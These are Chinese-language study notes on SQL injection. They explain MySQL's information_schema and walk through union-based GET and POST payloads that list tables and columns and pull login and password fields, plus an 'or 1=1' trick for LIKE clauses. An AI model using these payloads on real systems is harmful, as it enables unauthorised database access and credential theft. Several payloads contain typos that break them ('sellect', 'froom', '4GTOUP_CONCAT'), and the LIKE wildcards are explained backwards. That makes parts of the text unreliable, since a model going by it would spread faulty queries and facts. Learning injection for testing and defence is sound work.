1.SQL注入基础
1. MySQL Base
系统库释意
- Information_schema库:是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,比如数据库名,数据库表,表字段的数据类型与访问权限等。
- SCHEMATA表:提供了当前MySQL实例中所有的数据库信息,show database结果取之此表。
- TABLES表:提供了关于数据中表的信息。
- COLUMNS表:详细描述了某张表所有列的信息。
- mysql库:MySQL的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql控制和管理信息。
- performance_schema库:内存数据库,数据放在内存中直接操作的数据库,相对于磁盘,内存的数据读写速度要高出几个数量级。
- sys库:调用这个数据库数据库,可以查询谁使用了最多的资源基于IP或是用户,哪张表被访问过最多等信息。
2.SQL Injection
-
web程序三层架构:
界面层:用户与前端交互
业务逻辑层:前后端交互
数据访问层:后端与数据库交互 SQL注入发生处
-
简易原理
SELECT * FROM t1 WHERE ID=%s;
SELECT * FROM t1 WHERE name=%s;
假设用户传入的ID或name值为真,比如***1 or 1 = 1***则……产生注入
实际上执行的SQL语句为:SELECT * FROM t1 WHERE id=1 OR 1=1;
注意闭合单引号和注释掉后面语句。 -
基础语法
SQL语法
2.GET类型
union联合查询注入
134 ' union select 1,2,3,4 --
最后有空格,注释掉源码中后面的语句
其中1,2,3,4
由SQL字段个数决定,可以直接或由134' order by 4 --
试出。
-
134' union sellect 1,user(),version(),database() --
替换其中的字段为user()、database()之类的,注意数据类型(对应位置字段替换前后数据类型要一致)。 -
134' union select 1,database(),table_name,4 from information_schema.tables where table_schema=database() --
利用information_schema库中的tables来查询database()库中存在的表名。 -
134' union select 1,database(),column_name,4 from information_schema.columns where table_name='user' and table_schema=database() --
利用information_schema库中的columns来查询database()库中存在的表(例如user)中的字段名。 -
134' union select 1,username,passwd,4 froom user --
利用查询到的字段名(例如username,passwd)替换起初union查询语句,得到值。 -
3.POST类型
注意看页面源码,筛查有用信息。
Request Method:POST
Form Data(参数)
movie:1
action:go
两个参数即为注入点
-
如果源码语句只显示一条结果,则先使原参数值为数据库中不存在的值,例如movie取值1~10,这里使其为11;
-
然后使用GROUP_CONCAT()函数:
11 union select 1,user(),database(),4GTOUP_CONCAT(table_name),6,7 from information_schema.tables where table_schema=database() --
找到需要的表名,如users;
11 union select 1,user(),database(),4GTOUP_CONCAT(column_name),6,7 from information_schema.columns where table_name='users' --
11 union select 1,GROUP_CONCAT(login),GROUP_CONCAT(password),4GTOUP_CONCAT(table_name),GROUP_CONCAT(admin),7 from users --
-
like
如果用
a' or '1'='1
无果,则源码可能是用了likelike %book //以book开头的值 like book% //以book结尾的值 like %book% //包含book的值
那么需要闭合%
a%' or '1'='1' --